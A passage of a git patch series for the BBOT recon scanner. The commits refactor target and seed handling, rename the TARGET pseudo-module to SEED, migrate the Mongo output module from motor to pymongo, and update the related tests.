in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) + + # sslcert with in-scope chain + events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + "127.0.0.0/31", + modules=["sslcert"], + _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, + _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}}, + ) + + assert len(events) == 7 assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 5e95fc9b91..6ea5afb9dc 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -42,7 +42,7 @@ async def test_scan( assert set(j["target"]["blacklist"]) == {"1.1.1.0/28", "www.evilcorp.com"} assert "ipneighbor" in j["preset"]["modules"] - scan1 = bbot_scanner("1.1.1.1", target_list=["1.0.0.1"]) + scan1 = bbot_scanner("1.0.0.1", seeds=["1.1.1.1"]) assert not scan1.blacklisted("1.1.1.1") assert not scan1.blacklisted("1.0.0.1") assert not scan1.in_target("1.1.1.1") @@ -94,7 +94,7 @@ def test_seeds_target_separation(bbot_scanner): """ # Simulate: bbot -t 192.168.1.0/24 -s seed1.example.com seed2.example.com scan = bbot_scanner( - target_list=["192.168.1.0/24"], + "192.168.1.0/24", seeds=["seed1.example.com", "seed2.example.com"], ) From 707a3abc8356f048d86c179c42d21c6e5cd8e792 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 8 Dec 2025 00:08:56 -0500 Subject: [PATCH 200/912] ruff --- bbot/modules/output/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py index cdb0b644f2..d8c2098338 100644 --- a/bbot/modules/output/base.py +++ b/bbot/modules/output/base.py @@ -53,7 +53,7 @@ def _event_precheck(self, event): # or events that are over our report distance if event._internal: return False, "event is internal and output modules don't accept internal events" - + # if event.always_emit: # return True, "event is always emitted" From 305ceefd712f9683dc7baa3286879035c71edcaf Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 8 Dec 2025 00:25:04 -0500 Subject: [PATCH 201/912] steady work on tests --- bbot/scanner/preset/args.py | 4 ++-- bbot/scanner/preset/preset.py | 2 +- bbot/test/test_step_1/test_presets.py | 14 +++++++------- bbot/test/test_step_1/test_target.py | 2 +- bbot/test/test_step_2/module_tests/base.py | 6 ++---- .../module_tests/test_module_dnscommonsrv.py | 4 ++-- .../template_tests/test_template_subdomain_enum.py | 2 +- 7 files changed, 16 insertions(+), 18 deletions(-) diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index aa830c926d..ab447006f7 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -105,11 +105,11 @@ def parsed(self): def preset_from_args(self): # the order here is important # first we make the preset - # -t/--targets becomes target_list (defines target, what in_target() checks) + # -t/--targets becomes target (defines target, what in_target() checks) # -s/--seeds becomes seeds (drives passive modules), defaults to targets if not specified seeds = self.parsed.seeds if self.parsed.seeds is not None else self.parsed.targets args_preset = self.preset.__class__( - target_list=self.parsed.targets if self.parsed.targets else None, + *(self.parsed.targets or []), seeds=seeds if seeds else None, blacklist=self.parsed.blacklist, name="args_preset", diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 58bbd50b49..0e80b7bbe2 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -665,7 +665,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): # If BOTH "target" and "targets" are present, treat this as a user typo # and merge them into a single target_list (order-preserving, deduped). target_vals = (preset_dict.get("target") or []) + (preset_dict.get("targets") or []) - target_list = list(dict.fromkeys(target_vals)) or None + target_list = list(dict.fromkeys(target_vals)) seeds = preset_dict.get("seeds") new_preset = cls( *target_list, diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index ca883d36a0..2dc96c0e79 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -71,8 +71,8 @@ def test_preset_yaml(clean_default_config): import yaml preset1 = Preset( + "evilcorp.ce", seeds=["evilcorp.com", "www.evilcorp.ce"], - target_list=["evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], modules=["sslcert"], output_modules=["json"], @@ -183,7 +183,7 @@ def test_preset_scope(): # Positional args define target; seeds must be explicit preset1 = Preset( - target_list=["evilcorp.ce"], + "evilcorp.ce", seeds=["evilcorp.com", "www.evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], ) @@ -210,7 +210,7 @@ def test_preset_scope(): # test preset merging preset3 = Preset( - target_list=["evilcorp.de"], + "evilcorp.de", seeds=["evilcorp.org"], blacklist=["test.www.evilcorp.de"], config={"scope": {"strict": True}}, @@ -254,12 +254,12 @@ def test_preset_scope(): # test preset merging + seeds/target interaction - # Domain present as both explicit seed and target_list - preset_domain_with_seed = Preset(seeds=["evilcorp.com"], target_list=["evilcorp.com"], name="domain_with_seed") + # Domain present as both explicit seed and targets + preset_domain_with_seed = Preset("evilcorp.com", seeds=["evilcorp.com"], name="domain_with_seed") preset_with_target_scope = Preset( + "1.2.3.4/24", "http://evilcorp.net", name="with_target_scope", seeds=["evilcorp.org"], - target_list=["1.2.3.4/24", "http://evilcorp.net"], blacklist=["evilcorp.co.uk:443", "bob@evilcorp.co.uk"], config={"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}}, ) @@ -334,7 +334,7 @@ def test_preset_scope(): # When merging a preset that only defines targets (no explicit seeds), # its targets are not promoted to seeds in the merged preset, but targets are unioned. preset_targets_only = Preset("evilcorp.com") - preset_with_target_scope = Preset(seeds=["evilcorp.org"], target_list=["1.2.3.4/24"]) + preset_with_target_scope = Preset("1.2.3.4/24", seeds=["evilcorp.org"]) preset_with_target_scope.merge(preset_targets_only) preset_with_target_scope_baked = preset_with_target_scope.bake() # Seeds stay as the explicit seeds from the base preset diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index a0ba1eea08..59c1ddc111 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -289,8 +289,8 @@ async def test_target_basic(bbot_scanner): assert bbottarget.blacklist.hash == b'\xf7\xaf\xa1\xda4"C:\x13\xf42\xc3,\xc3\xa9\x9f\x15\x15n\\' scan = bbot_scanner( + "evilcorp.net", "evilcorp.com", "bob@www.evilcorp.com", seeds=["http://www.evilcorp.net", "1.2.3.0/24", "bob@fdsa.evilcorp.net"], - target_list=["evilcorp.net", "evilcorp.com", "bob@www.evilcorp.com"], blacklist=["bob@asdf.evilcorp.net", "1.2.3.4", "4.3.2.1/24", "http://1.2.3.4"], ) events = [e async for e in scan.async_start()] diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index dd94919c36..91221e1ba3 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -54,16 +54,14 @@ def __init__( elif module_type == "internal" and not module == "dnsresolve": self.config = OmegaConf.merge(self.config, {module: True}) - targets = list(module_test_base.targets or []) - target_list = module_test_base.target_list or targets - seeds = module_test_base.seeds or targets + seeds = module_test_base.seeds or None self.scan = Scanner( + *module_test_base.targets, modules=modules, output_modules=output_modules, scan_name=module_test_base._scan_name, config=self.config, - target_list=target_list, seeds=seeds, blacklist=module_test_base.blacklist, force_start=getattr(module_test_base, "force_start", False), diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py index a2a058ed6b..e2b0438b0b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py @@ -2,8 +2,8 @@ class TestDNSCommonSRV(ModuleTestBase): - targets = ["media.www.test.api.blacklanternsecurity.com"] - target_list = ["blacklanternsecurity.com"] + seeds = ["media.www.test.api.blacklanternsecurity.com"] + targets = ["blacklanternsecurity.com"] modules_overrides = ["dnscommonsrv", "speculate"] config_overrides = {"dns": {"minimal": False}} diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 872e56cf88..f5be36edf1 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -55,7 +55,7 @@ def check(self, module_test, events): class TestSubdomainEnumHighestParent(TestSubdomainEnum): seeds = ["api.test.asdf.www.blacklanternsecurity.com", "evilcorp.com"] - target_list = ["www.blacklanternsecurity.com"] + targets = ["www.blacklanternsecurity.com"] modules_overrides = ["speculate"] dedup_strategy = "highest_parent" txt = None From ed8768a3da6fb72ecb10ac334645b3bcd9d4299e Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 8 Dec 2025 00:25:34 -0500 Subject: [PATCH 202/912] ruffed --- bbot/test/test_step_1/test_presets.py | 3 ++- bbot/test/test_step_1/test_target.py | 4 +++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 2dc96c0e79..6704f1629b 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -257,7 +257,8 @@ def test_preset_scope(): # Domain present as both explicit seed and targets preset_domain_with_seed = Preset("evilcorp.com", seeds=["evilcorp.com"], name="domain_with_seed") preset_with_target_scope = Preset( - "1.2.3.4/24", "http://evilcorp.net", + "1.2.3.4/24", + "http://evilcorp.net", name="with_target_scope", seeds=["evilcorp.org"], blacklist=["evilcorp.co.uk:443", "bob@evilcorp.co.uk"], diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 59c1ddc111..b9b0cd7fa2 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -289,7 +289,9 @@ async def test_target_basic(bbot_scanner): assert bbottarget.blacklist.hash == b'\xf7\xaf\xa1\xda4"C:\x13\xf42\xc3,\xc3\xa9\x9f\x15\x15n\\' scan = bbot_scanner( - "evilcorp.net", "evilcorp.com", "bob@www.evilcorp.com", + "evilcorp.net", + "evilcorp.com", + "bob@www.evilcorp.com", seeds=["http://www.evilcorp.net", "1.2.3.0/24", "bob@fdsa.evilcorp.net"], blacklist=["bob@asdf.evilcorp.net", "1.2.3.4", "4.3.2.1/24", "http://1.2.3.4"], ) From 7b271f33bb5997ac73c8b85cd598448eb18a381b Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 8 Dec 2025 00:49:18 -0500 Subject: [PATCH 203/912] ruffed --- bbot/modules/output/base.py | 9 +++------ bbot/scanner/preset/preset.py | 11 +++-------- bbot/test/test_step_1/test_presets.py | 6 +++--- bbot/test/test_step_1/test_scope.py | 4 ++-- bbot/test/test_step_2/module_tests/base.py | 1 - 5 files changed, 11 insertions(+), 20 deletions(-) diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py index d8c2098338..60bebf5c11 100644 --- a/bbot/modules/output/base.py +++ b/bbot/modules/output/base.py @@ -37,15 +37,15 @@ def _event_precheck(self, event): # force-output certain events to the graph if self._is_graph_important(event): return True, "event is critical to the graph" + + if event.always_emit: + return True, "event is always emitted" # omit certain event types if event._omit: if event.type in self.get_watched_events(): reason = "its type is explicitly in watched_events" self.debug(f"Allowing omitted event: {event} because {reason}") - elif event.always_emit: - reason = "it's always emitted" - self.debug(f"Allowing omitted event: {event} because {reason}") else: return False, "its type is omitted in the config" @@ -54,9 +54,6 @@ def _event_precheck(self, event): if event._internal: return False, "event is internal and output modules don't accept internal events" - # if event.always_emit: - # return True, "event is always emitted" - return True, reason async def _event_postcheck(self, event): diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 0e80b7bbe2..01ed54f11e 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -658,17 +658,12 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ # Handle seeds and targets from dict - # - "target" key represents target_list (what in_target() checks) - # - "targets" is legacy and also treated as target_list - # - "seeds" key represents explicit seeds (never positional args) - # - # If BOTH "target" and "targets" are present, treat this as a user typo - # and merge them into a single target_list (order-preserving, deduped). + # for user-friendliness, we allow both "target" and "targets" to be used. we merge them into a single list. target_vals = (preset_dict.get("target") or []) + (preset_dict.get("targets") or []) - target_list = list(dict.fromkeys(target_vals)) + targets = list(dict.fromkeys(target_vals)) seeds = preset_dict.get("seeds") new_preset = cls( - *target_list, + *targets, seeds=seeds, blacklist=preset_dict.get("blacklist"), modules=preset_dict.get("modules"), diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 6704f1629b..6eb06b0244 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -268,10 +268,10 @@ def test_preset_scope(): preset_domain_with_seed_baked = preset_domain_with_seed.bake() preset_with_target_scope_baked = preset_with_target_scope.bake() - # When seeds and target_list are identical, only seeds are serialized. + # When seeds and targets are identical, only targets are serialized. domain_with_seed_dict = preset_domain_with_seed_baked.to_dict(include_target=True) - assert domain_with_seed_dict.get("seeds") == ["evilcorp.com"] - assert "target" not in domain_with_seed_dict + assert domain_with_seed_dict.get("target") == ["evilcorp.com"] + assert "seeds" not in domain_with_seed_dict # preset with explicit target scope scope_dict = preset_with_target_scope_baked.to_dict(include_target=True) diff --git a/bbot/test/test_step_1/test_scope.py b/bbot/test/test_step_1/test_scope.py index 2633f322bd..11c589bda1 100644 --- a/bbot/test/test_step_1/test_scope.py +++ b/bbot/test/test_step_1/test_scope.py @@ -77,7 +77,7 @@ class TestScopeCidrWithSeeds(ModuleTestBase): # Seeds: DNS names that will be tested seeds = ["inscope.example.com", "outscope.example.com"] # Target: CIDR that defines the scope - target_list = ["192.168.1.0/24"] + targets = ["192.168.1.0/24"] modules_overrides = ["dnsresolve"] async def setup_before_prep(self, module_test): @@ -97,7 +97,7 @@ def check(self, module_test, events): inscope_events = [e for e in events if e.type == "DNS_NAME" and e.data == "inscope.example.com"] outscope_events = [e for e in events if e.type == "DNS_NAME" and e.data == "outscope.example.com"] - assert len(inscope_events) > 0, "inscope.example.com should be detected" + assert len(inscope_events) == 1, "inscope.example.com should be detected" inscope_event = inscope_events[0] assert inscope_event.scope_distance == 0, ( f"inscope.example.com should be in-scope (scope_distance=0), got {inscope_event.scope_distance}" diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 91221e1ba3..d2ef06f418 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -15,7 +15,6 @@ class ModuleTestBase: targets = ["blacklanternsecurity.com"] scan_name = None blacklist = None - target_list = None seeds = None module_name = None config_overrides = {} From eabc532f83cf04b3f8d7aef88dfdc57e769fda27 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 8 Dec 2025 01:24:49 -0500 Subject: [PATCH 204/912] fix tests --- bbot/scanner/preset/preset.py | 1 + bbot/test/test_step_1/test_presets.py | 4 ++-- bbot/test/test_step_1/test_scan.py | 2 +- bbot/test/test_step_2/module_tests/test_module_json.py | 4 ++-- 4 files changed, 6 insertions(+), 5 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 01ed54f11e..a700b6b372 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -273,6 +273,7 @@ def __init__( # (i.e. they are still None), we'll know it's okay to copy them from the targets. self._seeds = set(seeds) if seeds else None + # _target doesn't get set until .bake() self._target = None # we don't fill self.modules yet (that happens in .bake()) diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 6eb06b0244..325b0a260e 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1188,5 +1188,5 @@ def test_preset_serialization(): preset_str = json.dumps(preset_dict) preset_dict_round_tripped = json.loads(preset_str) assert preset_dict_round_tripped == preset_dict - assert preset_dict["seeds"] == ["192.168.1.1"] - assert "target" not in preset_dict + assert preset_dict["target"] == ["192.168.1.1"] + assert "seeds" not in preset_dict diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 6ea5afb9dc..c74638c15e 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -34,7 +34,7 @@ async def test_scan( assert not scan0.in_scope("test.www.evilcorp.com") assert not scan0.in_scope("www.evilcorp.co.uk") j = scan0.json - assert set(j["target"]["seeds"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} + assert j["target"]["seeds"] is None, "seeds should not be in target json" # Positional arguments become the target assert set(j["target"]["target"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} # Seeds are backfilled from target when not explicitly set diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index d8cd46788c..469b218cdd 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -28,7 +28,7 @@ def check(self, module_test, events): assert scan["id"] == module_test.scan.id assert scan["uuid"] == str(module_test.scan.root_event.uuid) assert scan["parent_uuid"] == str(module_test.scan.root_event.uuid) - assert scan["data_json"]["target"]["seeds"] == ["blacklanternsecurity.com"] + assert scan["data_json"]["target"]["seeds"] is None assert scan["data_json"]["target"]["target"] == ["blacklanternsecurity.com"] assert dns_json["data"] == dns_data assert dns_json["id"] == str(dns_event.id) @@ -45,7 +45,7 @@ def check(self, module_test, events): assert scan_reconstructed.data["id"] == module_test.scan.id assert scan_reconstructed.uuid == scan_event.uuid assert scan_reconstructed.parent_uuid == scan_event.uuid - assert scan_reconstructed.data["target"]["seeds"] == ["blacklanternsecurity.com"] + assert scan_reconstructed.data["target"]["seeds"] is None assert scan_reconstructed.data["target"]["target"] == ["blacklanternsecurity.com"] assert dns_reconstructed.data == dns_data assert dns_reconstructed.uuid == dns_event.uuid From d9debe26c6ad32e089b05e263bf0733cb4d1b68c Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 8 Dec 2025 01:25:03 -0500 Subject: [PATCH 205/912] ruffed --- bbot/modules/output/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py index 60bebf5c11..d8d7bdb79f 100644 --- a/bbot/modules/output/base.py +++ b/bbot/modules/output/base.py @@ -37,7 +37,7 @@ def _event_precheck(self, event): # force-output certain events to the graph if self._is_graph_important(event): return True, "event is critical to the graph" - + if event.always_emit: return True, "event is always emitted" From 9cf788ea65ebfa41837a44651c1a02fc05472d82 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 8 Dec 2025 03:07:47 -0500 Subject: [PATCH 206/912] tests --- bbot/models/pydantic.py | 2 +- bbot/models/sql.py | 2 +- bbot/modules/output/mongo.py | 6 +++--- .../test_step_2/module_tests/test_module_mongo.py | 13 +++++++------ 4 files changed, 12 insertions(+), 11 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index ed318a3dc8..5b7990056c 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -148,8 +148,8 @@ def from_scan(cls, scan): class Target(BBOTBaseModel): name: str = "Default Target" strict_dns_scope: bool = False - seeds: List = [] target: List = [] + seeds: Optional[List] = None blacklist: List = [] hash: Annotated[str, "indexed", "unique"] scope_hash: Annotated[str, "indexed"] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index a2581e1bd7..1e15c8c073 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -125,8 +125,8 @@ class Scan(BBOTBaseModel, table=True): class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_dns_scope: bool = False - seeds: List = Field(default=[], sa_type=JSON) target: List = Field(default=[], sa_type=JSON) + seeds: Optional[List] = Field(default=None, sa_type=JSON) blacklist: List = Field(default=[], sa_type=JSON) hash: str = Field(sa_column=Column("hash", String(length=255), unique=True, primary_key=True, index=True)) scope_hash: str = Field(sa_column=Column("scope_hash", String(length=255), index=True)) diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index f90c4aad53..b7deb3d5e4 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -1,4 +1,4 @@ -from motor.motor_asyncio import AsyncIOMotorClient +from pymongo import AsyncMongoClient from bbot.models.pydantic import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule @@ -29,13 +29,13 @@ class Mongo(BaseOutputModule): "password": "The password to use to connect to the database", "collection_prefix": "Prefix the name of each collection with this string", } - deps_pip = ["motor~=3.6.0"] + deps_pip = ["pymongo~=4.15"] async def setup(self): self.uri = self.config.get("uri", "mongodb://localhost:27017") self.username = self.config.get("username", "") self.password = self.config.get("password", "") - self.db_client = AsyncIOMotorClient(self.uri, username=self.username, password=self.password) + self.db_client = AsyncMongoClient(self.uri, username=self.username, password=self.password) # Ping the server to confirm a successful connection try: diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 25c317e57c..9accae94c1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -36,12 +36,12 @@ async def setup_before_prep(self, module_test): "mongo", ) - from motor.motor_asyncio import AsyncIOMotorClient + from pymongo import AsyncMongoClient # Connect to the MongoDB collection with retry logic while True: try: - client = AsyncIOMotorClient("mongodb://localhost:27017", username="bbot", password="bbotislife") + client = AsyncMongoClient("mongodb://localhost:27017", username="bbot", password="bbotislife") db = client[self.test_db_name] events_collection = db.get_collection(self.test_collection_prefix + "events") # Attempt a simple operation to confirm the connection @@ -61,21 +61,22 @@ async def setup_before_prep(self, module_test): async def check(self, module_test, events): try: from bbot.models.pydantic import Event - from motor.motor_asyncio import AsyncIOMotorClient + from pymongo import AsyncMongoClient events_json = [e.json() for e in events] events_json.sort(key=lambda x: x["timestamp"]) # Connect to the MongoDB collection - client = AsyncIOMotorClient("mongodb://localhost:27017", username="bbot", password="bbotislife") + client = AsyncMongoClient("mongodb://localhost:27017", username="bbot", password="bbotislife") db = client[self.test_db_name] events_collection = db.get_collection(self.test_collection_prefix + "events") ### INDEXES ### # make sure the collection has all the right indexes - cursor = events_collection.list_indexes() - indexes = await cursor.to_list(length=None) + indexes_cursor = await events_collection.list_indexes() + indexes = await indexes_cursor.to_list(length=None) + # indexes = await cursor.to_list(length=None) for field in Event.indexed_fields(): assert any(field in index["key"] for index in indexes), f"Index for {field} not found" From 17b7f984ae70c7a903906c875aa07fdbfc7ba145 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 8 Dec 2025 14:57:22 -0500 Subject: [PATCH 207/912] TARGET->SEED (pseudo event type) --- bbot/modules/internal/excavate.py | 4 ++-- bbot/scanner/manager.py | 2 +- bbot/scanner/scanner.py | 6 +++--- bbot/scanner/stats.py | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 9c7a9fbbfb..a64794ea46 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1163,8 +1163,8 @@ async def handle_event(self, event, **kwargs): await self.emit_custom_parameters(event, "http_cookies", "COOKIE", "Custom Cookie") await self.emit_custom_parameters(event, "http_headers", "HEADER", "Custom Header") - # if parameter extraction is enabled, and querystring removal is disabled, and the event is directly from the TARGET, create a WEB - if self.url_querystring_remove is False and str(event.parent.parent.module) == "TARGET": + # if parameter extraction is enabled, and querystring removal is disabled, and the event is directly from the SEED, create a WEB + if self.url_querystring_remove is False and str(event.parent.parent.module) == "SEED": self.debug(f"Processing target URL [{urlunparse(event.parsed_url)}] for GET parameters") for ( method, diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index 80a6638423..f38d73a696 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -48,7 +48,7 @@ async def init_events(self, event_seeds=None): event_seeds = sorted(event_seeds, key=lambda e: (host_size_key(str(e.host)), e.data)) # queue root scan event await self.queue_event(root_event, {}) - target_module = self.scan._make_dummy_module(name="TARGET", _type="TARGET") + target_module = self.scan._make_dummy_module(name="SEED", _type="SEED") # queue each seed in turn for event_seed in event_seeds: event = self.scan.make_event( diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index cfa239ed81..70fec09118 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -1012,8 +1012,8 @@ def root_event(self): "tags": [ "distance-0" ], - "module": "TARGET", - "module_sequence": "TARGET" + "module": "SEED", + "module_sequence": "SEED" } ``` """ @@ -1040,7 +1040,7 @@ def make_root_event(self, context): root_event.scope_distance = 0 root_event.parent = root_event root_event._dummy = False - root_event.module = self._make_dummy_module(name="TARGET", _type="TARGET") + root_event.module = self._make_dummy_module(name="SEED", _type="SEED") return root_event @property diff --git a/bbot/scanner/stats.py b/bbot/scanner/stats.py index 38d95032f7..71547ddab9 100644 --- a/bbot/scanner/stats.py +++ b/bbot/scanner/stats.py @@ -72,7 +72,7 @@ def table(self): header = ["Module", "Produced", "Consumed"] table = [] for mname, mstat in self.module_stats.items(): - if mname == "TARGET" or mstat.module._stats_exclude: + if mname == "SEED" or mstat.module._stats_exclude: continue table_row = [] table_row.append(mname) From c72e51598ab3b38ec55d16764ef6de4a08f61578 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 8 Dec 2025 15:13:33 -0500 Subject: [PATCH 208/912] TARGET->SEED test edition --- bbot/test/test_step_1/test_cli.py | 8 +++--- .../test_step_1/test_manager_deduplication.py | 14 +++++------ bbot/test/test_step_1/test_modules_basic.py | 4 +-- bbot/test/test_step_1/test_preset_seeds.py | 25 +++++++++++++++++++ .../module_tests/test_module_portscan.py | 6 ++--- .../module_tests/test_module_robots.py | 2 +- .../test_template_subdomain_enum.py | 8 ++++-- 7 files changed, 48 insertions(+), 19 deletions(-) create mode 100644 bbot/test/test_step_1/test_preset_seeds.py diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 0317ef97b8..c12a2c5b81 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -28,7 +28,7 @@ async def test_cli_scope(monkeypatch, capsys): [ l for l in dns_events - if l["module"] == "TARGET" and l["scope_distance"] == 0 and "in-scope" in l["tags"] and "seed" in l["tags"] + if l["module"] == "SEED" and l["scope_distance"] == 0 and "in-scope" in l["tags"] and "seed" in l["tags"] ] ) ip_events = [l for l in lines if l["type"] == "IP_ADDRESS" and l["data"] == "1.1.1.1"] @@ -71,7 +71,7 @@ async def test_cli_scope(monkeypatch, capsys): target_seed_events = [ l for l in dns_events - if l["module"] == "TARGET" and l["scope_distance"] == 1 and "distance-1" in l["tags"] and "seed" in l["tags"] + if l["module"] == "SEED" and l["scope_distance"] == 1 and "distance-1" in l["tags"] and "seed" in l["tags"] ] assert len(target_seed_events) == 1 assert all("target" not in l["tags"] for l in target_seed_events) @@ -121,9 +121,9 @@ async def test_cli_scan(monkeypatch): with open(output_filename) as f: lines = f.read().splitlines() for line in lines: - if "[IP_ADDRESS] \t127.0.0.1\tTARGET" in line: + if "[IP_ADDRESS] \t127.0.0.1\tSEED" in line: ip_success = True - if 